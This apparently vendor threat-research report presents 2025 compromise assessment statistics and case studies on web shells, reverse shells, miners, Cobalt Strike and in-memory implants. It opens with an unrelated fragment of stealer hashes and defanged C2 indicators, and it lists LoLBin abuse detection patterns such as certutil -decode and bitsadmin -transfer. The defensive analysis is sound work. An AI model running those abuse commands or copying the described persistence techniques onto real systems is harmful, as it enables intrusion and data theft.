2DFA1D949872C1B2F04952DD3E5F5D8F LNK

BusySnake Stealer

C7622A1EFFA27BBFEE6D6E03D6474343 PYW BusySnake Stealer
80B7700053E115D65365CE7330383320 New PYW version of BusySnake Stealer
6B45DDB39A6E86229348DCBBA3857E7C RAR archive with BusySnake Stealer
006887732CA4A4A46A97989CF4DEEEF6 RAR archive with BusySnake Stealer
732C31ACF971A81C7E51B2A3DAE82020 RAR archive with BusySnake Stealer
DDFF82A115558584BBD7741D4FFB35B4 RAR archive with BusySnake Stealer
8188B2F347B77D65D08CFB23808AC244 RAR archive with BusySnake Stealer
E2550CFAD9DCC880BF04F6048F90868C RAR archive with BusySnake Stealer
FD2BDD8047ADDEE6FDE2F532DE181BFD RAR archive with BusySnake Stealer

С2

winupdate[.]live
arvax[.]xyz
varenie[.]live
lvl99[.]store
onetoken[.]ink
winupdate[.]ink
grked[.]online
ndrt[.]ink
myboard[.]chickenkiller.com
myboard[.]twilightparadox.com

159.198.41[.]140
159.198.75[.]219
159.198.32[.]222
69.67.173[.]153

The following analysis presents the key findings from Kaspersky Compromise Assessment engagements performed in 2025. A compromise assessment is an independent, expert-driven service that examines whether a target network has been compromised. The service combines threat intelligence analysis (including darknet sources), tool-aided endpoint scanning, a systematic review of security event logs and network traffic, and, when necessary, an initial incident response and digital forensic investigation.

This report focuses on missed incidents – threats that remained undetected for weeks, months, or even years.

Key trends observed during compromise assessment engagements

• Proactive compromise assessment decreases the number of missed high-severity incidents. The highest proportions of high-severity incidents were revealed in organizations that requested our compromise assessment service after containing a known incident. The lowest proportions of high-severity incidents were observed in organizations that conducted regular audits. Of all the incidents discovered, 20% were found manually, while enterprises missed 60% because of the absence of high-confidence alerts from the tools in place.
• Nearly a third of discovered incidents took over three months to detect. The longer a threat persisted in the target environment, the greater the likelihood that an incident would be severe. 30.8% of all discovered incidents and 52% of high-severity compromises had historical activity spanning over three months. The oldest incident discovered in 2025 had gone undetected for four years.
• Malicious files often remain in backups and are restored after incident response activities. 40% of all discovered web shells resided in backups and went unnoticed until a proper compromise assessment was conducted.
• Threat actors rely on remote management tools and LoLBins. These types of tools were found in all compromise assessment engagements that resulted in an incident detection.
• Monitoring tools and controls are not self-sufficient; operational maturity makes the difference. Monitoring tools must be configured and adapted to the changing threat landscape. Furthermore, human analysts need to review low-confidence alerts. A lack of continuous monitoring and threat hunting activities increased the likelihood of high- and medium-severity incidents to 84–86%. At the same time, high‑severity incidents were rare among organizations with in-house capabilities to reverse-engineer malware.
• Communication issues lead to missed incidents. Nearly a third of the compromise assessments revealed communication issues that impacted incident response activities.
• The incident response playbook is not set in stone. For incident response to be efficient and effective, playbooks must be updated as new artifacts are discovered. Treating the incident response plan as a living document reduces the risk of missing threats.

About the Kaspersky Compromise Assessment service

Our global compromise assessment portfolio spans several regions. In 2025, around 71% of the incidents we identified affected our customers in the META region, while the APAC and CIS regions accounted for the remaining 29%.

Geographic distribution of incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Our service was requested by organizations from a diverse set of sectors. The government sector accounted for around 29% of incidents, followed by the education (19%) and financial (17%) sectors.

Distribution of economy sector incidents identified during Kaspersky Compromise Assessment projects in 2025 (download)

Detection logic families

Our compromise assessments operate on a continuously updated catalogue of indicators of attack (IoAs). Because the raw set of IoAs is too granular for high-level reporting, we map them to a concise set of detection logic families. The statistics indicate that three detection families dominate the incident mix:

• Credentials from dumps: 12.4% of all incidents;
• Specific living-off-the-land (LOTL) tools: 11.2 %;
• Specific malware families: 11.2 %.

These three detection logic families represent high-fidelity indicators of attack that reliably signal infrastructure compromises ranging from dormant, disk-based malware to persistent and multi-stage attacks.

Distribution of detection logic families (download)

Reasons for requesting Kaspersky Compromise Assessment services

Analysis of our compromise assessment engagements that took place in 2025 reveals a clear correlation between the stated purpose of the engagement and the risk profile of the findings. General audits dominate the portfolio with 56% of requests, followed by authority reporting engagements (19%), post-incident checkups (17%), and acquisitions (9%).

Statistics on the reasons behind CA project requests (download)

When the findings are classified by severity, the post-incident checkup category exhibits the highest proportion of high-severity incidents (40.7%). The full breakdown is shown below.

Incident severity breakdown by service engagement reason
		Incident severity (%)
		High	Medium	Low
Reason for service	Acquiring new company	28.6	42.8	28.6
	General audit	27.7	36.7	35.6
	Report to an authority	30	46.7	23.3
	Checkup after a cybersecurity incident	40.7	25.9	33.4

Post-incident checkups are frequently initiated after an initial incident response (IR) effort. The elevated share of high-severity findings suggests that IR activities, which are typically limited to containing a known incident, do not provide a complete view of the broader environment. Consequently, other threats may remain undetected until a full compromise assessment is performed.

Merger and acquisition-related assessments are proactive assessments performed when a company acquires another entity. This involves the target’s network being scanned for hidden threats before the two environments are merged. These assessments demonstrate a balanced distribution of severity: 28.6% low-severity, 42.8% medium-severity, and 28.6 % high-severity. This reflects the mixed risk posture of target environments of acquisitions, which are often evaluated for both known vulnerabilities and hidden malicious activity. Similarly, other proactive approaches like general audit assessments or assessments driven by the need to regularly submit a compliance report to a regulatory authority, share almost the same ratio. This indicates that regular, proactive and compliance-oriented assessments tend to reveal substantive issues earlier in the attack lifecycle, reducing the likelihood that they will evolve into high-severity incidents.

Organizations that conduct regular audits have the highest rate of low-severity findings (36%) and the lowest rate of high-severity issues (28%). We can assume with medium confidence that continuous, proactive compromise assessments are more effective at limiting the emergence of high-severity compromises than reactive, incident-driven evaluations. The data collected in 2025 are consistent with this hypothesis. Integrating regular, third-party compromise assessments into governance processes can therefore reduce the probability of unexpected high-severity findings and improve overall risk posture.

The following case study illustrates the impact of relying on a reactive rather than proactive approach. It describes a persistent threat that remained dormant on a client’s network and was only discovered after a comprehensive compromise assessment was performed following initial IR activity.

Case study: Dormant threat uncovered only by a compromise assessment

A midsize enterprise suffered a high-severity intrusion that was contained and remediated by the IR team within the defined scope of the initial alert. Following containment, the organization requested a check to determine if any additional footholds existed elsewhere in the network. To address this need, the organization engaged Kaspersky’s Compromise Assessment (CA) service, which performed a full forensic review of the environment beyond the scope of the initial incident.

Compromise assessment experts collected forensic metadata, historical security event logs, and Active Directory configuration data from the entire infrastructure. Threat hunting queries were executed against the aggregated telemetry, focusing on persistence mechanisms, lateral movement artifacts, and anomalous process activity. As a result, a number of severe threats were detected and reported; for example, malicious persistence:

1. A cron job that recreates a web shell
   A critical Linux system (web server) had a cron job that automated fetched a copy of a PHP web shell from a public GitHub repository and placed it in an online directory. Even if the file was removed by security personnel, the cron job would simply download it again, giving the attacker a persistent remote code execution point on the web server.
   
2. A live reverse shell
   On a server hosting a published web application, the process list showed a bash reverse shell.It was run by a user with the username “apache,” which was the account used to run the web application. This may indicate that the attacker exploited a vulnerability in the web application to gain remote code execution, allowing them to establish a reliable command and control channel that bypassed the firewall because it was initiated from inside the network.
3. ClipBanker data stealer persisting via Windows registry
   A ClipBanker variant was detected on a user’s workstation machine maintaining persistence by adding itself to the registry key HKU\S-1-5-21-[REDACTED]-500\Software\Microsoft\Windows\CurrentVersion\Run\9Er6IIp.
   
   This was done after adding the malware’s folder to Windows Defender exclusions and applying hidden and system attributes to the file to hide it from regular users.
4. Malicious WMI event consumer with deceptive alias
   A malicious WMI event consumer was detected that downloads and executes a PowerShell script. It created the alias “Kaspersky” for “Invoke-Expression” in an attempt to blend in as legitimate activity in the hope that a quick glance at the script would not raise suspicion. Kaspersky’s Cyber Threat Intelligence confirmed that the downloaded script (no longer reachable) was a weaponized payload used to spread the infection further.
   

The IR containment was rapid, focused and effective in addressing the specific incident that triggered the alert. However, the broad-scope compromise assessment revealed multiple backdoors across the environment, each using a different persistence technique: cron jobs, scheduled registry runs, and WMI subscriptions. The infected hosts were outside the original IR scope, so they remained unseen until a comprehensive hunt was conducted.

Incident response excels at stopping the bleeding and ensuring business continuity after a known incident. A compromise assessment provides a health check that determines whether any other wounds exist. By pairing timely IR with regular, full network compromise assessments, the organization had both the reactive agility to contain incidents and the proactive visibility to eradicate malicious persistence wherever it was hiding. The investigation uncovered additional undetected footholds, providing a clearer view of the environment and reducing the likelihood of a repeat incident.

Missed long-term incidents

The statistics on the mean time to detect (MTTD) incidents identified during compromise assessment projects are concerning. Many incidents go unnoticed for extended periods. For example, in 2025 we identified an incident that was approximately four years old!

Such prolonged detection times can lead to severe consequences, as 30.8% of incidents have historical activity spanning over three months. These incidents can range from dormant malware to persistent threats, highlighting the need for robust detection and response mechanisms.

Severity distribution of incidents by MTTD (download)

The relationship between detection latency and incident severity was analyzed by grouping findings according to their MTTD:

• For incidents detected within the first month, severity is more or less evenly distributed among the low, medium and high categories.
• However, as the MTTD increases, the severity of incidents shifts towards higher severity. Notably, a high proportion of incidents that took between 30–60 days to be detected are medium-severity incidents (78.57%), while those detected between 60–90 days are predominantly high-severity (71.43%).
• Among incidents detected after 90 days, a significant proportion are also high-severity incidents (52%).

Overall, 52% of high-severity incidents are only identified after 90 days of going undetected. This represents a concrete risk: the longer an incident goes undetected, the higher the probability of severe compromise. Organizations that integrate continuous detection, threat hunting activities, and regular compromise assessments can reduce MTTD, limit threat escalation, and lower their overall risk profile.

The following case study highlights the importance of timely detection and response to prevent incidents from escalating into high-severity events.

Case study: Four-year-old crypto mining activity on domain controllers

In May 2025, our compromise assessment experts identified three domain controllers on a customer network that were infected with malicious files. The files had remained hidden for almost four years. They were created in the C:\Windows\Fonts\Mysql directory, abusing its unique characteristic whereby only font files in this directory are visible to regular users. Files with the names nei.bat, dl1host.exe, bat.bat, cmd.bat, and a spoofed svchost.exe were found there. These files were created in June and July of 2021.

Kaspersky Threat Intelligence confirmed that these files are part of a crypto-mining campaign called NSABuffMiner, which spreads via the SMB protocol by exploiting the EternalBlue (MS17-010) vulnerability. A patch was released for this vulnerability in March 2017, four years before the initial compromise. This was more than enough time to patch the systems. This underscores the importance of implementing effective patch management operations and staying informed through threat intelligence news feeds.

Based on the organization’s request, the malicious files were collected along with a forensic image for analysis and revealed the following:

• bat.bat and cmd.bat generate random IPs and scan them with a lightweight port scanner renamed taskhost.exe to locate live hosts with SMB port 445 and NetBIOS port 139 open and looking for vulnerable machines.
• Discovered vulnerable IPs are handed to helper scripts named bat, poab.bat, load.bat, and loab.bat that execute the malware mance.exe, Eter.exe, and puls.exe to inject the malicious DLLs Eternalblue2.dll and Doublepulsar2.dll into lsass.exe and explorer.exe, enabling lateral movement.
• Persistence is then established by creating scheduled tasks to execute the propagation and infection scripts, and services are created to execute the crypto miner, with the names MicrosoftMysql, MicrosoftFonts, and MicrosoftMSSql. Other scheduled tasks were also observed with the names At1 and At2 and created for the same purpose.
• After successfully compromising the machine and installing the persistence mechanisms, a cleanup task is performed to delete temporary files and dropped malware.

Because of the lack of proper monitoring and threat hunting procedures, the organization was unaware that a mining operation had been hijacking their resources for four years, running on their domain controllers.

Unintentional malware preservation

An issue that is frequently discovered during compromise assessment activities is that of web shells remaining or being restored on target systems. Based on data collected during 2025 compromise assessment engagements, 64% of web shell incidents were classified as high-severity findings, 7% as low-severity (possibly legitimate files, but potentially compromised), and 29% as medium-severity findings requiring eradication.

Web shell incident distribution by severity (download)

One way web shells persist is through infected backups. The distribution of discovered incidents in our projects shows that 60% of the web shells were located on active systems, while 40% were stored in backups. Restoring such backups can reintroduce the threat long after the initial infection.

Web shell location (download)

Another common issue is asset inventory gaps, which were observed in 25% of engagements. This resulted in untracked devices, particularly cloud-only Linux web servers that are not joined to Active Directory, evading routine scans.

Asset inventory issues (download)

An attacker can plant a web shell on such a cloud server, and that server never appears in the inventory, though is still regularly backed up. As a result, the web shell may persist on the cloud server for a long time. If it is occasionally deleted, the backup server later restores the infected files, exposing the web shell to third parties again. This demonstrates that without a complete and up-to-date asset inventory, detection capabilities are significantly impaired.

One case was observed in which the web shell was located on an internal file server (not a web server) within a .rar archive at the following path: D:\backup\[redacted_for_privacy].rar/wwwroot/<…>/[redacted_for_privacy].aspx

During the investigation, the server administrators indicated that the folder had been copied from a different server that was offline at the time of the assessment. Because of poor asset inventory, the company’s security team did not detect the infection of this server. As a result of the backup procedure, the web shell was copied to the internal file server. Forensic analysis of the offline server revealed that the adversary had introduced a backdoor to the majority of the Windows servers in the environment, configuring the local administrator account with an identical password.

The technique involved using PsExec to execute a .cmd script across all the servers listed in a .txt file; the script altered the local administrator password to a common value:

Legitimate, yet suspicious: LoLBins and remote management tools

In 2025, nonstandard remote management (RM) utilities were observed in all compromise assessment engagements. Living-off-the-land binaries (LoLBins) were also present in every engagement. These findings highlight the ongoing challenge for security operations centers (SOCs) that must distinguish between legitimate administrative use and malicious abuse.

The observed remote management utilities span both proprietary platforms, such as TeamViewer and AnyDesk, and freely available tools, including PsExec, VNC servers, and open-source RM frameworks. These binaries are used daily in many environments for troubleshooting, software deployment, or remote support. However, the same capabilities – creating a new local admin account, copying files to a remote share, or launching a network port scan for diagnostics – are also typical of attacker post-exploitation activity. Our analysts frequently encounter cases where a legitimate sysadmin action resembles a lateral movement step. This makes the mere fact that “a remote management tool was executed” insufficient to classify it as an incident. Instead, the incident must be judged against an organization-specific baseline of expected usage. Establishing that baseline requires a deep, contextual understanding of who is authorized to run the tool, from which endpoints, and under which circumstances – a resource-intensive process on a case-by-case basis.

LoLBins, binaries that are part of the operating system or commonly installed utilities (such as certutil, bitsadmin, regsvr32, and wmic), were also present in every assessment. While these files are trusted system components, threat intelligence confirms they are often repurposed for lateral movement, data exfiltration, and persistence. The graph below shows the severity distribution for incidents involving riskware or a LoLBin binary. The relatively high share of medium- (40%) and high-severity (31%) findings underscores that misuse of legitimate utilities is often the vector that enables a compromise to progress beyond the initial foothold.

Severity distribution of incidents involving riskware or LoLBin involvement (2025) (download)

To address the potential use of LoLBins and remote management tools by attackers, we recommend a multi-layered approach that goes beyond static deny lists:

1. Formalize a policy that enumerates the remote management tools authorized for use. The policy must be coupled with a requirement to forward software operational logs to a central log management platform (SIEM or dedicated log collector). Continuous monitoring of these logs enables a SOC to detect deviations from authorized usage patterns.
2. Periodically perform a software inventory audit to identify unauthorized remote management tools. Consider collecting data from the following registry keys on all hosts:
   • HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\Uninstall
   • HKEY_USERS\*\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall
3. Enrich the hashes (MD5/SHA-256) of every executed binary with a functional category, such as “Remote Access”, “Golden Image”, or “Security Software.” Correlating the category with the execution path makes it possible to hunt for instances where a “Remote Access” binary runs from a non-standard location, such as %TEMP% or a user’s Downloads folder.
4. Deploy detection rules that capture known LoLBin abuse patterns, such as certutil -decode, bitsadmin -transfer, regsvr32 -i <dll>, wmic process call create. These rules should be continuously baselined against the organization’s normal activity. The baseline is derived from a period of verified legitimate use and refreshed whenever new legitimate use cases emerge. Alerts are generated only when observed behavior diverges from the established norm, thereby reducing noise while preserving sensitivity to genuine abuse.

Impact of not having continuous monitoring and proactive threat hunting

Analyses of recent compromise assessment projects reveal a systematic blind spot in organizations that follow the security-by-purchase model to defend their networks. Without continuous human monitoring or a dedicated threat hunting program, the severity profile of detected incidents becomes heavily skewed toward a higher impact:

Incident severity breakdown, where 24/7 monitoring or threat hunting is absent
Control type	Low-severity	Medium/high-severity
No continuous monitoring	14%	86%
No threat hunting	16%	84%

Often, the problem is not a lack of tools, but rather a lack of operational use of those tools. Many enterprises deploy next-generation security solutions and then let them run in “set-and-forget” mode, or they rely exclusively on an alert-driven workflow. The following issues are common in such organizations:

• Alert fatigue: high false positive rates drown analysts in noise, forcing them to triage superficial indicators rather than conduct deep, contextual investigations.
• Fragmented analyst assignment: without a dedicated hunting team, the same analyst may be tasked with dozens of unrelated alerts, limiting the time available for the hypothesis-driven exploration required to uncover stealthy footholds.

The practical consequence is that adversaries retain an extended dwell time, enabling continued lateral movement and data exfiltration before the organization becomes aware of the breach. This pattern represents a measurable risk exposure that translates directly into business impact. As the following example illustrates, merely purchasing security controls does not guarantee detection; continuous monitoring, regular alert validation, and structured threat hunting are essential to reduce dwell time and limit business impact.

Case study: Secure by design without continuous monitoring

The enterprise invested in security controls and assumed that the environment was secure by design. However, security controls require proper configuration, continuous tuning, and active monitoring to be effective. The tools had been installed, but no one was ensuring that the security controls were configured effectively, there was no analyst reviewing the alerts they produced, and no schedule existed to review the collected logs.

The organization opted for Kaspersky’s Compromise Assessment service. Historical security logs were collected and investigated as part of the assessment procedures. The goal was simple: to determine what had really been going on in the network over the previous few months.

Log analysis revealed clear evidence of malicious activity. Activities related to Impacket behavior were discovered that led to the deployment of Cobalt Strike and Mimikatz on several critical servers, including the domain controllers. These activities were three months old at the time of detection, and the enterprise was unaware of them because there was no effective 24/7 monitoring in place.

Impacket is a collection of Python scripts for network protocols and low-level network packet manipulation. Attackers can abuse it to move laterally into the network. The following are examples of its artifacts detected in the network:

The attacker used Impacket to execute a PowerShell command that downloaded an executable from a command-and-control server. This server was found to be associated with Cobalt Strike. Cobalt Strike is a post-exploitation tool that provides capabilities for remote command execution and lateral movement within a compromised network. The execution was set up via a scheduled task that attempted to masquerade as a legitimate Google Chrome update task.

The timeline assessment confirmed the presence of a Mimikatz binary and a memory dump associated with the same incident on the compromised system, confirming that a credential theft operation had indeed taken place.

The organization was completely unaware of the breach. The activity had gone undetected for three months because the deployed controls were never monitored. Upon learning of the findings, a full-scale incident response was initiated to eradicate the footholds, rotate credentials, and harden the security of the environment.

Security controls are not self-sufficient. Deploying a firewall or an EDR solution does not automatically protect you. Without proper configuration, baseline tuning, and, most critically, continuous log monitoring and threat hunting, those controls become merely decorative. Always-on monitoring, either performed internally or delegated to an external managed security service, can turn weeks-old compromises into minutes-old alerts by correlating events, hunting for anomalous use of penetration testing or hacking tools, and escalating suspicious activity.

Incident response action statistics

An analysis of historical compromise assessment projects reveals a persistent discrepancy between the best practices described in incident response playbooks and the operational realities of executing them in unprepared, often legacy-affected environments. The figure below shows how frequently each response action was required during the initial response phase of a compromise assessment.

Incident response actions required after compromise assessment (download)

The distribution highlights three frequently observed patterns:

• Forensic analysis accounts for the majority of cases, with around 59% requiring at least one forensic package collection and analysis.
• Remote eradication, i.e., file or registry key removal, was reported in 39% of cases.
• Plans evolve as the investigation proceeds; 39% of engagements required a mid-engagement plan update, reflecting the iterative nature of incident response.

Why forensic collection is the default entry point

Forensic package collection and analysis was the most frequent response action, occurring in 59% of cases. The prevalence of forensic package collection can be explained by two observable factors in CA engagements: (1) the targeted organization’s limited historical visibility and (2) the fact that a substantial proportion of incidents were older than 90 days at the start of the assessment. In many cases, native logs had already been rotated or purged, forcing investigators to rely on residual artifacts (e.g., MFT entries, registry hives, filesystem timestamps) to reconstruct timelines.

Our observations suggest that remote forensic package collection is effectively a prerequisite rather than an optional convenience. The graph below summarizes the reported ability to collect forensic packages, categorized by incident severity level. It highlights that, in a significant proportion of high-severity cases, the affected organization lacked this capability.

The organization’s ability to collect forensic data by incident severity (download)

Containment: The remove files/registry keys paradox

Response execution and eradication actions, such as file or registry key removal (reported in 39% of cases), were also common. However, they highlighted a notable gap in execution practices. While many organizations reported having EDR capabilities for remote removal, execution was often delegated to IT teams or MSPs via ticketing systems. This can introduce delays and reduce the precision of the removal process. Malware removal is a surgical process, particularly in multi-stage, fileless, or persistence-heavy scenarios. Capability alone is insufficient without expertise, sequencing, and planning, especially when artifacts may exist in shadow copies, backups, hidden paths, or downloader chains.

Communication failures: An additional operational overhead

A notable organizational finding emerged regarding communication. In 32% of projects, internal communication issues at the assessed organization materially impacted response execution. Below are the typical blockers:

• Unclear action confirmation – system administrators could not quickly confirm whether a suspicious file was legitimate.
• Delayed owner validation – ticket escalations stalled while waiting for system owners to respond.
• Compromised communication channels – email accounts or ticketing portals may already be under the attacker’s control in the event of a suspected domain compromise.
• Staff turnover – loss of knowledge about historical configuration baselines.

These findings suggest that regular tabletop exercises are required to test not only technical playbooks, but also human and communication workflows, as well as operational level agreements that govern and facilitate communication between different teams, and standard operating procedures for proper documentation.

The iterative nature of response plan updates

The need to update response plans based on new analytical input arose in 39% of cases, emphasizing the inherently iterative nature of incident response. Early-stage plans cannot realistically account for all variables. Examples of the most commonly observed causes for updating the response plan are listed below:

• Reverse engineering results that reveal previously unknown command-and-control (C2) servers or behaviors.
• Forensic discoveries, such as hidden scheduled tasks, shadow-copy artifacts, or dormant DLLs.
• Traffic analysis outcomes that expose additional lateral movement paths.
• Human constraints – unavailable system owners, changes in management processes, or supervisor approval.

Based on our experience, teams that treat the IR plan as a living document – incorporating each new artifact, reprioritizing actions, and reissuing the playbook before the next containment step – reduce the risk of missed eradication steps. Conversely, strict adherence to an initial, evidence-limited plan can increase the risk of overlooking persistent footholds.

Distinguishing real attacker artifacts from penetration testing leftovers

Finally, distinguishing attacker activity from penetration testing artifacts remained a recurring challenge (12% of cases). Compromise assessments frequently uncover remnants of legitimate testing tools, which can create uncertainty about whether a detected artifact originated from a malicious intrusion or a legitimate penetration test. Contributing factors:

• Poorly documented penetration test report and artifact cleanup.
• Overlapping toolsets (e.g., SharpHound) used by both red team operators and adversaries.
• Running compromise assessments and active penetration testing projects simultaneously, which degrades analyst focus and increases false positive rates. Although correlating findings with penetration testing reports is essential, compromise assessments are human-driven investigative processes, and confusing analysts with overlapping “legitimate” attack signals leads to misinterpretation and weaker outcomes.

Incident response maturity and its effect on severity

Our data show a correlation between the presence of internal digital forensics or malware reverse engineering capabilities and the distribution of incident severity categories. Across the 2025 compromise assessment engagements, the distribution of low-, medium- and high-severity findings differed markedly between organizations that possessed these capabilities and those that did not. The data below illustrate this correlation and provide a basis for assessing the business value of expanding internal response skill sets.

Incident severity split for cases requiring digital forensics, based on an organization’s capabilities (download)

Organizations capable of analyzing digital forensic artifacts independently experienced half as many high-severity incidents and a higher proportion of low- and medium-severity cases.

Incident severity split for cases requiring malware analysis, based on an organization’s capabilities (download)

The presence of a dedicated reverse engineering resource correlates with a total absence of high-severity cases in our sample set; the majority of incidents were rated as medium severity, with a significant proportion of low-severity outcomes.

The analysis of this correlation indicates, with medium confidence, that the observed shifts are unlikely to be caused solely by sample size effects. Rather, they are more likely to reflect a genuine operational phenomenon: internal digital forensics and malware analysis capabilities contribute not only to SOC processes, but also to cyber-resilience in general.

Case study: In-memory LionTail infection on critical Windows servers

During a compromise assessment, a persistent in-memory threat was identified on several critical servers. The activity was attributed to the LionTail framework, a sophisticated set of custom loaders and memory-resident shellcode implants. LionTail takes advantage of undocumented Windows HTTP.sys driver behaviors to covertly deliver and retrieve payloads via inbound HTTP traffic, effectively blending malicious activity into legitimate network flows.

Several observed variants are attributed to the Scarred Manticore actor, which generates a unique implant per compromised host and performs data exfiltration while carefully masking command-and-control communications within normal-looking traffic.

Detection was achieved through static memory signatures discovered within the scrcons.exe process. Although scrcons.exe is a legitimate WMI host binary located under C:\Windows\System32\wbem, it is frequently abused to host injected payloads, making it an attractive target for stealthy in-memory operations.

The response plan comprised a number of actions, the most critical of which are highlighted below:

• Collection of volatile memory dumps for in-depth analysis.
• Acquisition of full forensic disk images from affected systems.
• Detailed analysis of the collected artifacts and subsequent updates to the incident response plan.

Executing these actions proved challenging for the organization because of its limited digital forensics and reverse engineering capabilities. In incidents dominated by fileless memory-resident threats, these capabilities are not optional – they are essential. Without them, organizations risk losing critical evidence, misjudging the scope of the compromise, or failing to fully eradicate advanced implants that leave minimal traces on disk.

While our specialists were able to complete the investigation and contain the breach, the case revealed a readiness gap. It demonstrated the operational risk of depending on external assistance during high‑impact incidents and reinforced the necessity of in‑house forensic and reverse‑engineering maturity to achieve timely, confident and comprehensive incident handling.

Solving the root cause problems

Upon completion of a compromise assessment engagement, the focus shifts from incident response to a consulting phase. The final workshop focuses on preventing recurrence of incidents by identifying underlying deficiencies that allowed them to go unnoticed. The recommendations are actionable and tailored to the environment. For the purpose of this report, they have been grouped into a limited set of high-level categories.

Root-cause category	Share of incidents	Typical findings
Insufficient detection fidelity	60.7%	• No high-confidence alerts were generated by the EPP/EDR or related log sources. • In 9.4% of cases, the product was mis-configured or out of date or malfunctioning.
Missing alert-driven monitoring	35.9%	• Alerts that could have indicated compromise were generated, but an incident was not declared. • Signals with high uncertainty (e.g., heuristic web shell detections) required analyst validation.
Deficient vulnerability and configuration management	28.2%	• Evident misconfigurations (e.g., disabled audit logging, over-permissive service accounts). • Known vulnerabilities left unpatched or unmitigated.
Lack of structured threat hunting processes	27.4%	• Low-fidelity alerts were never reexamined after initial dismissal. • High-volume telemetry remained unchecked due to staffing constraints.
Inadequate security awareness programs	25.6%	• Credential leaks from personal devices of employees or contractors accounted for 27.2% of incidents where inadequate security awareness was identified. • Social engineering attempts were successful because of insufficient user training.
Absence of documented policies/processes	23.9%	• No formal incident response playbooks, change management procedures or data handling guidelines were available.

Common observations on root causes

The detection health check was the most frequent corrective action. In more than half of the cases where alerts were missing, a simple verification of sensor health and rule relevance was recommended to fill the gap. Without such validation, immediate attribution of the failure to the product capability could not be made.
Human analysis is still essential for low-confidence alerts. Automated pipelines alone cannot compensate for rules prone to false positives (e.g., generic web shell heuristics). Embedding a manual triage step was recommended to reduce the dwell time for incidents.

Process hygiene (vulnerability management, threat hunting, security policies) accounts for a substantial proportion of the root causes. Even mature organizations exhibited gaps in routine activities that could be mitigated with disciplined workflows. The absence of documented policies/processes was the root cause of 23.9% of cases.

A modern example of a policy gap is the use of generative AI development tools that operate without clear data handling rules. During one project, we identified a macOS workstation that executed the Claude Code (Anthropic) command-line assistant as a VS Code extension. The tool automatically captured filesystem snapshots to enrich its language model prompts. These snapshots included full directory listings and absolute paths to several Excel workbooks containing internal confidential data:

Parent command line	Command line
/bin/zsh -c -l source /Users/[REDACTED]/.claude/shell-snapshots/snapshot-zsh-[REDACTED].sh && eval ‘ls -lh “/Users/[REDACTED]/Documents/[REDACTED]/”*.xlsx‘ \\< /dev/null && pwd -P >| /var/folders/[REDACTED]/claude-[REDACTED]	ls -lh /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx /Users/[REDACTED]/Documents/[REDACTED].xlsx .. [REDACTED]

The organization was advised to conduct awareness sessions for employees on the risk of exposing confidential internal data to generative AI tools, and to develop a policy governing the use of such tools with confidential information.

Lack of detections: Causes and impacts

Compromise assessment engagements repeatedly show that insufficient detection fidelity is a significant contributing factor to high-severity incidents. In cases where the target organization’s detection coverage was rated low, 52% of incidents were classified as high severity and 15% as low severity. This suggests a correlation: limited visibility appears to increase the proportion of incidents that evolve into high-severity compromises.

Incident severity distribution when detection coverage was insufficient (download)

A common assumption is that engaging a managed security service provider (MSSP) improves detection maturity. The data, however, show a more nuanced picture. Even when an MSSP is engaged, 26.5% of incidents related to low detection coverage remain unidentified, and roughly 50% of MSSP-supported projects have basic Windows audit gaps (e.g., missing event log collection or disabled audit policies).
These findings suggest that outsourcing alone does not guarantee effective detection; active governance and continuous validation are required. Detection should be treated as an evolving capability that requires continuous testing, measurement, and refinement, irrespective of whether it is managed internally or by a third party.

Statistics of missed incidents due to lack of detection capability with or without MSSP (download)

The analysis of root causes of missed detections reveals several recurring themes. In many environments, the technology is present but poorly operationalized. The main issues are:

• Absence of endpoint protection platform (EPP) health check – nearly 50% of incidents escalated to high severity in engagements where the EPP health check was weak or absent. This reflects the classic “installed-but-not-enforced” risk, where agents are present but not tuned, updated, or validated.
• Threat intelligence gaps – when there was no functional threat intelligence feed or platform, about half of the incidents reached high severity. Without curated indicators of compromise and contextual enrichment, analysts rely on generic alerts and may overlook known malicious behaviors.

The underlying issue is an alert-driven, set-and-forget mindset: organizations assume that deployed tools will automatically protect them, even though the tools are not continuously tuned, validated, or enriched with threat intelligence.

Incident severity breakdown where there was no EPP health check or threat intelligence
Missing control	High-severity	Medium-severity	Low-severity
EPP health check	48.3%	36.7%	15%
Threat intelligence feed	50%	40%	10%

Detection failures are rarely caused by a single missing control; they emerge from weak configuration, insufficient telemetry, and an absence of regular checks of controls and processes to ensure they are functional, especially in outsourced models. A hybrid monitoring approach that combines internal ownership with external MDR or MSSP support consistently proves to be the most resilient model when roles, expectations, and performance metrics are clearly defined. Detection must be treated as a living function, not a procurement outcome.

The following example illustrates the real-world consequences of control gaps by walking through a severe incident that persisted undetected for months simply because the organization lacked the necessary detection capabilities and security tools.

Case study: In-memory PurpleFox infection evades conventional endpoint protection

During a compromise assessment engagement, memory was scanned on the target hosts using the threat hunting rule set. Two hidden objects were identified:

• PurpleFox rootkit code injected into legitimate svchost.exe processes on several critical servers.
• XMRig cryptocurrency miner signatures residing inside the same compromised svchost.exe instances.

PurpleFox drops specially crafted DLLs and forces svchost.exe to load them. From there, it installs a kernel-mode driver that gives the attacker persistent and stealthy execution capabilities, as well as the ability to pull additional payloads. This results in the loading of the XMRig miner.

The deployed EPP solution monitored file creation, registry modifications and network connections. However, its memory inspection module was disabled. Additionally, the signature set applied at the time of the assessment was not up to date. As a result, no alerts were generated for the injected DLLs or the miner’s shellcode. The compromise assessment team identified this detection gap during the memory analysis phase and documented the missing in-memory inspection capability in the final report.

The organization’s security operations were outsourced to an MSSP, which collected the logs and forwarded them to the SIEM solution. Because the logs never contained alerts for in-memory activity, PurpleFox activity was not identified.

Insufficient vulnerability management: A catalyst for high-severity compromises

In the 2025 compromise assessment engagements, more than half of the threats identified and linked to insufficient vulnerability management practices or missing patches were classified as high severity. The most frequently observed consequences were the deployment of web shells that enabled persistent remote code execution and the exploitation of misconfigured Active Directory instances.

Severity distribution of incidents due to improper vulnerability management (download)

The root causes of missing patches are multifaceted. They include inadequate asset inventory management (25% of projects) and the absence of formal vulnerability management processes (41% of projects). Moreover, 86% of organizations that claimed to have a vulnerability management program still exhibited exploited misconfigurations during compromise assessment engagements. These findings suggest that robust patch management, comprehensive asset inventory practices, and structured vulnerability management processes are critical for preventing high-severity incidents.

